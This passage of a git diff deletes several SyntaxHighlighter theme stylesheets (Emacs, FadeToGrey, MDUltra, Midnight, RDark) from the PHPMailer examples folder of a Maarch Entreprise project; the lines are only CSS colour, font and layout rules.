.toolbar a{color:#a0a0a0 !important;} -.syntaxhighlighter .toolbar a:hover{color:red !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:black !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#3f5fbf !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#2a00ff !important;} -.syntaxhighlighter .keyword{color:#7f0055 !important;} -.syntaxhighlighter .preprocessor{color:#646464 !important;} -.syntaxhighlighter .variable{color:#aa7700 !important;} -.syntaxhighlighter .value{color:#009900 !important;} -.syntaxhighlighter .functions{color:#ff1493 !important;} -.syntaxhighlighter .constants{color:#0066cc !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#7f0055 !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:gray !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:#ff1493 !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:red !important;} -.syntaxhighlighter .keyword{font-weight:bold !important;} -.syntaxhighlighter .xml .keyword{color:#3f7f7f !important;font-weight:normal !important;} -.syntaxhighlighter .xml .color1,.syntaxhighlighter .xml .color1 a{color:#7f007f !important;} -.syntaxhighlighter .xml .string{font-style:italic !important;color:#2a00ff !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreEmacs.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreEmacs.css deleted file mode 100755 index 4fbd3254fcb84888d12bb3886c3875ad8a1f23cf..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreEmacs.css +++ /dev/null @@ -1,76 +0,0 @@ -.syntaxhighlighter a,.syntaxhighlighter div,.syntaxhighlighter code,.syntaxhighlighter table,.syntaxhighlighter table td,.syntaxhighlighter table tr,.syntaxhighlighter table tbody,.syntaxhighlighter table thead,.syntaxhighlighter table caption,.syntaxhighlighter textarea{-moz-border-radius:0 0 0 0 !important;-webkit-border-radius:0 0 0 0 !important;background:none !important;border:0 !important;bottom:auto !important;float:none !important;height:auto !important;left:auto !important;line-height:1.1em !important;margin:0 !important;outline:0 !important;overflow:visible !important;padding:0 !important;position:static !important;right:auto !important;text-align:left !important;top:auto !important;vertical-align:baseline !important;width:auto !important;box-sizing:content-box !important;font-family:"Consolas","Bitstream Vera Sans Mono","Courier New",Courier,monospace !important;font-weight:normal !important;font-style:normal !important;font-size:1em !important;min-height:inherit !important;min-height:auto !important;} -.syntaxhighlighter{width:100% !important;margin:1em 0 1em 0 !important;position:relative !important;overflow:auto !important;font-size:1em !important;} -.syntaxhighlighter.source{overflow:hidden !important;} -.syntaxhighlighter .bold{font-weight:bold !important;} -.syntaxhighlighter .italic{font-style:italic !important;} -.syntaxhighlighter .line{white-space:pre !important;} -.syntaxhighlighter table{width:100% !important;} -.syntaxhighlighter table caption{text-align:left !important;padding:.5em 0 0.5em 1em !important;} -.syntaxhighlighter table td.code{width:100% !important;} -.syntaxhighlighter table td.code .container{position:relative !important;} -.syntaxhighlighter table td.code .container textarea{box-sizing:border-box !important;position:absolute !important;left:0 !important;top:0 !important;width:100% !important;height:100% !important;border:none !important;background:white !important;padding-left:1em !important;overflow:hidden !important;white-space:pre !important;} -.syntaxhighlighter table td.gutter .line{text-align:right !important;padding:0 0.5em 0 1em !important;} -.syntaxhighlighter table td.code .line{padding:0 1em !important;} -.syntaxhighlighter.nogutter td.code .container textarea,.syntaxhighlighter.nogutter td.code .line{padding-left:0em !important;} -.syntaxhighlighter.show{display:block !important;} -.syntaxhighlighter.collapsed table{display:none !important;} -.syntaxhighlighter.collapsed .toolbar{padding:0.1em 0.8em 0em 0.8em !important;font-size:1em !important;position:static !important;width:auto !important;height:auto !important;} -.syntaxhighlighter.collapsed .toolbar span{display:inline !important;margin-right:1em !important;} -.syntaxhighlighter.collapsed .toolbar span a{padding:0 !important;display:none !important;} -.syntaxhighlighter.collapsed .toolbar span a.expandSource{display:inline !important;} -.syntaxhighlighter .toolbar{position:absolute !important;right:1px !important;top:1px !important;width:11px !important;height:11px !important;font-size:10px !important;z-index:10 !important;} -.syntaxhighlighter .toolbar span.title{display:inline !important;} -.syntaxhighlighter .toolbar a{display:block !important;text-align:center !important;text-decoration:none !important;padding-top:1px !important;} -.syntaxhighlighter .toolbar a.expandSource{display:none !important;} -.syntaxhighlighter.ie{font-size:.9em !important;padding:1px 0 1px 0 !important;} -.syntaxhighlighter.ie .toolbar{line-height:8px !important;} -.syntaxhighlighter.ie .toolbar a{padding-top:0px !important;} -.syntaxhighlighter.printing .line.alt1 .content,.syntaxhighlighter.printing .line.alt2 .content,.syntaxhighlighter.printing .line.highlighted .number,.syntaxhighlighter.printing .line.highlighted.alt1 .content,.syntaxhighlighter.printing .line.highlighted.alt2 .content{background:none !important;} -.syntaxhighlighter.printing .line .number{color:#bbbbbb !important;} -.syntaxhighlighter.printing .line .content{color:black !important;} -.syntaxhighlighter.printing .toolbar{display:none !important;} -.syntaxhighlighter.printing a{text-decoration:none !important;} -.syntaxhighlighter.printing .plain,.syntaxhighlighter.printing .plain a{color:black !important;} -.syntaxhighlighter.printing .comments,.syntaxhighlighter.printing .comments a{color:#008200 !important;} -.syntaxhighlighter.printing .string,.syntaxhighlighter.printing .string a{color:blue !important;} -.syntaxhighlighter.printing .keyword{color:#006699 !important;font-weight:bold !important;} -.syntaxhighlighter.printing .preprocessor{color:gray !important;} -.syntaxhighlighter.printing .variable{color:#aa7700 !important;} -.syntaxhighlighter.printing .value{color:#009900 !important;} -.syntaxhighlighter.printing .functions{color:#ff1493 !important;} -.syntaxhighlighter.printing .constants{color:#0066cc !important;} -.syntaxhighlighter.printing .script{font-weight:bold !important;} -.syntaxhighlighter.printing .color1,.syntaxhighlighter.printing .color1 a{color:gray !important;} -.syntaxhighlighter.printing .color2,.syntaxhighlighter.printing .color2 a{color:#ff1493 !important;} -.syntaxhighlighter.printing .color3,.syntaxhighlighter.printing .color3 a{color:red !important;} -.syntaxhighlighter.printing .break,.syntaxhighlighter.printing .break a{color:black !important;} -.syntaxhighlighter{background-color:black !important;} -.syntaxhighlighter .line.alt1{background-color:black !important;} -.syntaxhighlighter .line.alt2{background-color:black !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#2a3133 !important;} -.syntaxhighlighter .line.highlighted.number{color:white !important;} -.syntaxhighlighter table caption{color:#d3d3d3 !important;} -.syntaxhighlighter .gutter{color:#d3d3d3 !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #990000 !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#990000 !important;color:black !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#ebdb8d !important;background:black !important;border:1px solid #990000 !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#ebdb8d !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:#ff7d27 !important;} -.syntaxhighlighter .toolbar{color:white !important;background:#990000 !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:white !important;} -.syntaxhighlighter .toolbar a:hover{color:#9ccff4 !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:#d3d3d3 !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#ff7d27 !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#ff9e7b !important;} -.syntaxhighlighter .keyword{color:aqua !important;} -.syntaxhighlighter .preprocessor{color:#aec4de !important;} -.syntaxhighlighter .variable{color:#ffaa3e !important;} -.syntaxhighlighter .value{color:#009900 !important;} -.syntaxhighlighter .functions{color:#81cef9 !important;} -.syntaxhighlighter .constants{color:#ff9e7b !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:aqua !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:#ebdb8d !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:#ff7d27 !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:#aec4de !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreFadeToGrey.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreFadeToGrey.css deleted file mode 100755 index 398d6ee8db0cc35ec1202b668993985e5702f199..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreFadeToGrey.css +++ /dev/null @@ -1,77 +0,0 @@ -.syntaxhighlighter a,.syntaxhighlighter div,.syntaxhighlighter code,.syntaxhighlighter table,.syntaxhighlighter table td,.syntaxhighlighter table tr,.syntaxhighlighter table tbody,.syntaxhighlighter table thead,.syntaxhighlighter table caption,.syntaxhighlighter textarea{-moz-border-radius:0 0 0 0 !important;-webkit-border-radius:0 0 0 0 !important;background:none !important;border:0 !important;bottom:auto !important;float:none !important;height:auto !important;left:auto !important;line-height:1.1em !important;margin:0 !important;outline:0 !important;overflow:visible !important;padding:0 !important;position:static !important;right:auto !important;text-align:left !important;top:auto !important;vertical-align:baseline !important;width:auto !important;box-sizing:content-box !important;font-family:"Consolas","Bitstream Vera Sans Mono","Courier New",Courier,monospace !important;font-weight:normal !important;font-style:normal !important;font-size:1em !important;min-height:inherit !important;min-height:auto !important;} -.syntaxhighlighter{width:100% !important;margin:1em 0 1em 0 !important;position:relative !important;overflow:auto !important;font-size:1em !important;} -.syntaxhighlighter.source{overflow:hidden !important;} -.syntaxhighlighter .bold{font-weight:bold !important;} -.syntaxhighlighter .italic{font-style:italic !important;} -.syntaxhighlighter .line{white-space:pre !important;} -.syntaxhighlighter table{width:100% !important;} -.syntaxhighlighter table caption{text-align:left !important;padding:.5em 0 0.5em 1em !important;} -.syntaxhighlighter table td.code{width:100% !important;} -.syntaxhighlighter table td.code .container{position:relative !important;} -.syntaxhighlighter table td.code .container textarea{box-sizing:border-box !important;position:absolute !important;left:0 !important;top:0 !important;width:100% !important;height:100% !important;border:none !important;background:white !important;padding-left:1em !important;overflow:hidden !important;white-space:pre !important;} -.syntaxhighlighter table td.gutter .line{text-align:right !important;padding:0 0.5em 0 1em !important;} -.syntaxhighlighter table td.code .line{padding:0 1em !important;} -.syntaxhighlighter.nogutter td.code .container textarea,.syntaxhighlighter.nogutter td.code .line{padding-left:0em !important;} -.syntaxhighlighter.show{display:block !important;} -.syntaxhighlighter.collapsed table{display:none !important;} -.syntaxhighlighter.collapsed .toolbar{padding:0.1em 0.8em 0em 0.8em !important;font-size:1em !important;position:static !important;width:auto !important;height:auto !important;} -.syntaxhighlighter.collapsed .toolbar span{display:inline !important;margin-right:1em !important;} -.syntaxhighlighter.collapsed .toolbar span a{padding:0 !important;display:none !important;} -.syntaxhighlighter.collapsed .toolbar span a.expandSource{display:inline !important;} -.syntaxhighlighter .toolbar{position:absolute !important;right:1px !important;top:1px !important;width:11px !important;height:11px !important;font-size:10px !important;z-index:10 !important;} -.syntaxhighlighter .toolbar span.title{display:inline !important;} -.syntaxhighlighter .toolbar a{display:block !important;text-align:center !important;text-decoration:none !important;padding-top:1px !important;} -.syntaxhighlighter .toolbar a.expandSource{display:none !important;} -.syntaxhighlighter.ie{font-size:.9em !important;padding:1px 0 1px 0 !important;} -.syntaxhighlighter.ie .toolbar{line-height:8px !important;} -.syntaxhighlighter.ie .toolbar a{padding-top:0px !important;} -.syntaxhighlighter.printing .line.alt1 .content,.syntaxhighlighter.printing .line.alt2 .content,.syntaxhighlighter.printing .line.highlighted .number,.syntaxhighlighter.printing .line.highlighted.alt1 .content,.syntaxhighlighter.printing .line.highlighted.alt2 .content{background:none !important;} -.syntaxhighlighter.printing .line .number{color:#bbbbbb !important;} -.syntaxhighlighter.printing .line .content{color:black !important;} -.syntaxhighlighter.printing .toolbar{display:none !important;} -.syntaxhighlighter.printing a{text-decoration:none !important;} -.syntaxhighlighter.printing .plain,.syntaxhighlighter.printing .plain a{color:black !important;} -.syntaxhighlighter.printing .comments,.syntaxhighlighter.printing .comments a{color:#008200 !important;} -.syntaxhighlighter.printing .string,.syntaxhighlighter.printing .string a{color:blue !important;} -.syntaxhighlighter.printing .keyword{color:#006699 !important;font-weight:bold !important;} -.syntaxhighlighter.printing .preprocessor{color:gray !important;} -.syntaxhighlighter.printing .variable{color:#aa7700 !important;} -.syntaxhighlighter.printing .value{color:#009900 !important;} -.syntaxhighlighter.printing .functions{color:#ff1493 !important;} -.syntaxhighlighter.printing .constants{color:#0066cc !important;} -.syntaxhighlighter.printing .script{font-weight:bold !important;} -.syntaxhighlighter.printing .color1,.syntaxhighlighter.printing .color1 a{color:gray !important;} -.syntaxhighlighter.printing .color2,.syntaxhighlighter.printing .color2 a{color:#ff1493 !important;} -.syntaxhighlighter.printing .color3,.syntaxhighlighter.printing .color3 a{color:red !important;} -.syntaxhighlighter.printing .break,.syntaxhighlighter.printing .break a{color:black !important;} -.syntaxhighlighter{background-color:#121212 !important;} -.syntaxhighlighter .line.alt1{background-color:#121212 !important;} -.syntaxhighlighter .line.alt2{background-color:#121212 !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#2c2c29 !important;} -.syntaxhighlighter .line.highlighted.number{color:white !important;} -.syntaxhighlighter table caption{color:white !important;} -.syntaxhighlighter .gutter{color:#afafaf !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #3185b9 !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#3185b9 !important;color:#121212 !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#3185b9 !important;background:black !important;border:1px solid #3185b9 !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#3185b9 !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:#d01d33 !important;} -.syntaxhighlighter .toolbar{color:white !important;background:#3185b9 !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:white !important;} -.syntaxhighlighter .toolbar a:hover{color:#96daff !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:white !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#696854 !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#e3e658 !important;} -.syntaxhighlighter .keyword{color:#d01d33 !important;} -.syntaxhighlighter .preprocessor{color:#435a5f !important;} -.syntaxhighlighter .variable{color:#898989 !important;} -.syntaxhighlighter .value{color:#009900 !important;} -.syntaxhighlighter .functions{color:#aaaaaa !important;} -.syntaxhighlighter .constants{color:#96daff !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#d01d33 !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:#ffc074 !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:#4a8cdb !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:#96daff !important;} -.syntaxhighlighter .functions{font-weight:bold !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreMDUltra.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreMDUltra.css deleted file mode 100755 index 87a3cc2b360a7408eeef9af032297f9696515571..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreMDUltra.css +++ /dev/null @@ -1,76 +0,0 @@ -.syntaxhighlighter a,.syntaxhighlighter div,.syntaxhighlighter code,.syntaxhighlighter table,.syntaxhighlighter table td,.syntaxhighlighter table tr,.syntaxhighlighter table tbody,.syntaxhighlighter table thead,.syntaxhighlighter table caption,.syntaxhighlighter textarea{-moz-border-radius:0 0 0 0 !important;-webkit-border-radius:0 0 0 0 !important;background:none !important;border:0 !important;bottom:auto !important;float:none !important;height:auto !important;left:auto !important;line-height:1.1em !important;margin:0 !important;outline:0 !important;overflow:visible !important;padding:0 !important;position:static !important;right:auto !important;text-align:left !important;top:auto !important;vertical-align:baseline !important;width:auto !important;box-sizing:content-box !important;font-family:"Consolas","Bitstream Vera Sans Mono","Courier New",Courier,monospace !important;font-weight:normal !important;font-style:normal !important;font-size:1em !important;min-height:inherit !important;min-height:auto !important;} -.syntaxhighlighter{width:100% !important;margin:1em 0 1em 0 !important;position:relative !important;overflow:auto !important;font-size:1em !important;} -.syntaxhighlighter.source{overflow:hidden !important;} -.syntaxhighlighter .bold{font-weight:bold !important;} -.syntaxhighlighter .italic{font-style:italic !important;} -.syntaxhighlighter .line{white-space:pre !important;} -.syntaxhighlighter table{width:100% !important;} -.syntaxhighlighter table caption{text-align:left !important;padding:.5em 0 0.5em 1em !important;} -.syntaxhighlighter table td.code{width:100% !important;} -.syntaxhighlighter table td.code .container{position:relative !important;} -.syntaxhighlighter table td.code .container textarea{box-sizing:border-box !important;position:absolute !important;left:0 !important;top:0 !important;width:100% !important;height:100% !important;border:none !important;background:white !important;padding-left:1em !important;overflow:hidden !important;white-space:pre !important;} -.syntaxhighlighter table td.gutter .line{text-align:right !important;padding:0 0.5em 0 1em !important;} -.syntaxhighlighter table td.code .line{padding:0 1em !important;} -.syntaxhighlighter.nogutter td.code .container textarea,.syntaxhighlighter.nogutter td.code .line{padding-left:0em !important;} -.syntaxhighlighter.show{display:block !important;} -.syntaxhighlighter.collapsed table{display:none !important;} -.syntaxhighlighter.collapsed .toolbar{padding:0.1em 0.8em 0em 0.8em !important;font-size:1em !important;position:static !important;width:auto !important;height:auto !important;} -.syntaxhighlighter.collapsed .toolbar span{display:inline !important;margin-right:1em !important;} -.syntaxhighlighter.collapsed .toolbar span a{padding:0 !important;display:none !important;} -.syntaxhighlighter.collapsed .toolbar span a.expandSource{display:inline !important;} -.syntaxhighlighter .toolbar{position:absolute !important;right:1px !important;top:1px !important;width:11px !important;height:11px !important;font-size:10px !important;z-index:10 !important;} -.syntaxhighlighter .toolbar span.title{display:inline !important;} -.syntaxhighlighter .toolbar a{display:block !important;text-align:center !important;text-decoration:none !important;padding-top:1px !important;} -.syntaxhighlighter .toolbar a.expandSource{display:none !important;} -.syntaxhighlighter.ie{font-size:.9em !important;padding:1px 0 1px 0 !important;} -.syntaxhighlighter.ie .toolbar{line-height:8px !important;} -.syntaxhighlighter.ie .toolbar a{padding-top:0px !important;} -.syntaxhighlighter.printing .line.alt1 .content,.syntaxhighlighter.printing .line.alt2 .content,.syntaxhighlighter.printing .line.highlighted .number,.syntaxhighlighter.printing .line.highlighted.alt1 .content,.syntaxhighlighter.printing .line.highlighted.alt2 .content{background:none !important;} -.syntaxhighlighter.printing .line .number{color:#bbbbbb !important;} -.syntaxhighlighter.printing .line .content{color:black !important;} -.syntaxhighlighter.printing .toolbar{display:none !important;} -.syntaxhighlighter.printing a{text-decoration:none !important;} -.syntaxhighlighter.printing .plain,.syntaxhighlighter.printing .plain a{color:black !important;} -.syntaxhighlighter.printing .comments,.syntaxhighlighter.printing .comments a{color:#008200 !important;} -.syntaxhighlighter.printing .string,.syntaxhighlighter.printing .string a{color:blue !important;} -.syntaxhighlighter.printing .keyword{color:#006699 !important;font-weight:bold !important;} -.syntaxhighlighter.printing .preprocessor{color:gray !important;} -.syntaxhighlighter.printing .variable{color:#aa7700 !important;} -.syntaxhighlighter.printing .value{color:#009900 !important;} -.syntaxhighlighter.printing .functions{color:#ff1493 !important;} -.syntaxhighlighter.printing .constants{color:#0066cc !important;} -.syntaxhighlighter.printing .script{font-weight:bold !important;} -.syntaxhighlighter.printing .color1,.syntaxhighlighter.printing .color1 a{color:gray !important;} -.syntaxhighlighter.printing .color2,.syntaxhighlighter.printing .color2 a{color:#ff1493 !important;} -.syntaxhighlighter.printing .color3,.syntaxhighlighter.printing .color3 a{color:red !important;} -.syntaxhighlighter.printing .break,.syntaxhighlighter.printing .break a{color:black !important;} -.syntaxhighlighter{background-color:#222222 !important;} -.syntaxhighlighter .line.alt1{background-color:#222222 !important;} -.syntaxhighlighter .line.alt2{background-color:#222222 !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#253e5a !important;} -.syntaxhighlighter .line.highlighted.number{color:white !important;} -.syntaxhighlighter table caption{color:lime !important;} -.syntaxhighlighter .gutter{color:#38566f !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #435a5f !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#435a5f !important;color:#222222 !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#428bdd !important;background:black !important;border:1px solid #435a5f !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#428bdd !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:lime !important;} -.syntaxhighlighter .toolbar{color:#aaaaff !important;background:#435a5f !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:#aaaaff !important;} -.syntaxhighlighter .toolbar a:hover{color:#9ccff4 !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:lime !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#428bdd !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:lime !important;} -.syntaxhighlighter .keyword{color:#aaaaff !important;} -.syntaxhighlighter .preprocessor{color:#8aa6c1 !important;} -.syntaxhighlighter .variable{color:aqua !important;} -.syntaxhighlighter .value{color:#f7e741 !important;} -.syntaxhighlighter .functions{color:#ff8000 !important;} -.syntaxhighlighter .constants{color:yellow !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#aaaaff !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:red !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:yellow !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:#ffaa3e !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreMidnight.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreMidnight.css deleted file mode 100755 index 3c02103ce69556fe0796df78af9abf235e9b46d0..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreMidnight.css +++ /dev/null @@ -1,76 +0,0 @@ -.syntaxhighlighter a,.syntaxhighlighter div,.syntaxhighlighter code,.syntaxhighlighter table,.syntaxhighlighter table td,.syntaxhighlighter table tr,.syntaxhighlighter table tbody,.syntaxhighlighter table thead,.syntaxhighlighter table caption,.syntaxhighlighter textarea{-moz-border-radius:0 0 0 0 !important;-webkit-border-radius:0 0 0 0 !important;background:none !important;border:0 !important;bottom:auto !important;float:none !important;height:auto !important;left:auto !important;line-height:1.1em !important;margin:0 !important;outline:0 !important;overflow:visible !important;padding:0 !important;position:static !important;right:auto !important;text-align:left !important;top:auto !important;vertical-align:baseline !important;width:auto !important;box-sizing:content-box !important;font-family:"Consolas","Bitstream Vera Sans Mono","Courier New",Courier,monospace !important;font-weight:normal !important;font-style:normal !important;font-size:1em !important;min-height:inherit !important;min-height:auto !important;} -.syntaxhighlighter{width:100% !important;margin:1em 0 1em 0 !important;position:relative !important;overflow:auto !important;font-size:1em !important;} -.syntaxhighlighter.source{overflow:hidden !important;} -.syntaxhighlighter .bold{font-weight:bold !important;} -.syntaxhighlighter .italic{font-style:italic !important;} -.syntaxhighlighter .line{white-space:pre !important;} -.syntaxhighlighter table{width:100% !important;} -.syntaxhighlighter table caption{text-align:left !important;padding:.5em 0 0.5em 1em !important;} -.syntaxhighlighter table td.code{width:100% !important;} -.syntaxhighlighter table td.code .container{position:relative !important;} -.syntaxhighlighter table td.code .container textarea{box-sizing:border-box !important;position:absolute !important;left:0 !important;top:0 !important;width:100% !important;height:100% !important;border:none !important;background:white !important;padding-left:1em !important;overflow:hidden !important;white-space:pre !important;} -.syntaxhighlighter table td.gutter .line{text-align:right !important;padding:0 0.5em 0 1em !important;} -.syntaxhighlighter table td.code .line{padding:0 1em !important;} -.syntaxhighlighter.nogutter td.code .container textarea,.syntaxhighlighter.nogutter td.code .line{padding-left:0em !important;} -.syntaxhighlighter.show{display:block !important;} -.syntaxhighlighter.collapsed table{display:none !important;} -.syntaxhighlighter.collapsed .toolbar{padding:0.1em 0.8em 0em 0.8em !important;font-size:1em !important;position:static !important;width:auto !important;height:auto !important;} -.syntaxhighlighter.collapsed .toolbar span{display:inline !important;margin-right:1em !important;} -.syntaxhighlighter.collapsed .toolbar span a{padding:0 !important;display:none !important;} -.syntaxhighlighter.collapsed .toolbar span a.expandSource{display:inline !important;} -.syntaxhighlighter .toolbar{position:absolute !important;right:1px !important;top:1px !important;width:11px !important;height:11px !important;font-size:10px !important;z-index:10 !important;} -.syntaxhighlighter .toolbar span.title{display:inline !important;} -.syntaxhighlighter .toolbar a{display:block !important;text-align:center !important;text-decoration:none !important;padding-top:1px !important;} -.syntaxhighlighter .toolbar a.expandSource{display:none !important;} -.syntaxhighlighter.ie{font-size:.9em !important;padding:1px 0 1px 0 !important;} -.syntaxhighlighter.ie .toolbar{line-height:8px !important;} -.syntaxhighlighter.ie .toolbar a{padding-top:0px !important;} -.syntaxhighlighter.printing .line.alt1 .content,.syntaxhighlighter.printing .line.alt2 .content,.syntaxhighlighter.printing .line.highlighted .number,.syntaxhighlighter.printing .line.highlighted.alt1 .content,.syntaxhighlighter.printing .line.highlighted.alt2 .content{background:none !important;} -.syntaxhighlighter.printing .line .number{color:#bbbbbb !important;} -.syntaxhighlighter.printing .line .content{color:black !important;} -.syntaxhighlighter.printing .toolbar{display:none !important;} -.syntaxhighlighter.printing a{text-decoration:none !important;} -.syntaxhighlighter.printing .plain,.syntaxhighlighter.printing .plain a{color:black !important;} -.syntaxhighlighter.printing .comments,.syntaxhighlighter.printing .comments a{color:#008200 !important;} -.syntaxhighlighter.printing .string,.syntaxhighlighter.printing .string a{color:blue !important;} -.syntaxhighlighter.printing .keyword{color:#006699 !important;font-weight:bold !important;} -.syntaxhighlighter.printing .preprocessor{color:gray !important;} -.syntaxhighlighter.printing .variable{color:#aa7700 !important;} -.syntaxhighlighter.printing .value{color:#009900 !important;} -.syntaxhighlighter.printing .functions{color:#ff1493 !important;} -.syntaxhighlighter.printing .constants{color:#0066cc !important;} -.syntaxhighlighter.printing .script{font-weight:bold !important;} -.syntaxhighlighter.printing .color1,.syntaxhighlighter.printing .color1 a{color:gray !important;} -.syntaxhighlighter.printing .color2,.syntaxhighlighter.printing .color2 a{color:#ff1493 !important;} -.syntaxhighlighter.printing .color3,.syntaxhighlighter.printing .color3 a{color:red !important;} -.syntaxhighlighter.printing .break,.syntaxhighlighter.printing .break a{color:black !important;} -.syntaxhighlighter{background-color:#0f192a !important;} -.syntaxhighlighter .line.alt1{background-color:#0f192a !important;} -.syntaxhighlighter .line.alt2{background-color:#0f192a !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#253e5a !important;} -.syntaxhighlighter .line.highlighted.number{color:#38566f !important;} -.syntaxhighlighter table caption{color:#d1edff !important;} -.syntaxhighlighter .gutter{color:#afafaf !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #435a5f !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#435a5f !important;color:#0f192a !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#428bdd !important;background:black !important;border:1px solid #435a5f !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#428bdd !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:#1dc116 !important;} -.syntaxhighlighter .toolbar{color:#d1edff !important;background:#435a5f !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:#d1edff !important;} -.syntaxhighlighter .toolbar a:hover{color:#8aa6c1 !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:#d1edff !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#428bdd !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#1dc116 !important;} -.syntaxhighlighter .keyword{color:#b43d3d !important;} -.syntaxhighlighter .preprocessor{color:#8aa6c1 !important;} -.syntaxhighlighter .variable{color:#ffaa3e !important;} -.syntaxhighlighter .value{color:#f7e741 !important;} -.syntaxhighlighter .functions{color:#ffaa3e !important;} -.syntaxhighlighter .constants{color:#e0e8ff !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#b43d3d !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:#f8bb00 !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:white !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:#ffaa3e !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreRDark.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreRDark.css deleted file mode 100755 index f5b7b474aa42257368666c134ebb0e03a1721546..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shCoreRDark.css +++ /dev/null @@ -1,76 +0,0 @@ -.syntaxhighlighter a,.syntaxhighlighter div,.syntaxhighlighter code,.syntaxhighlighter table,.syntaxhighlighter table td,.syntaxhighlighter table tr,.syntaxhighlighter table tbody,.syntaxhighlighter table thead,.syntaxhighlighter table caption,.syntaxhighlighter textarea{-moz-border-radius:0 0 0 0 !important;-webkit-border-radius:0 0 0 0 !important;background:none !important;border:0 !important;bottom:auto !important;float:none !important;height:auto !important;left:auto !important;line-height:1.1em !important;margin:0 !important;outline:0 !important;overflow:visible !important;padding:0 !important;position:static !important;right:auto !important;text-align:left !important;top:auto 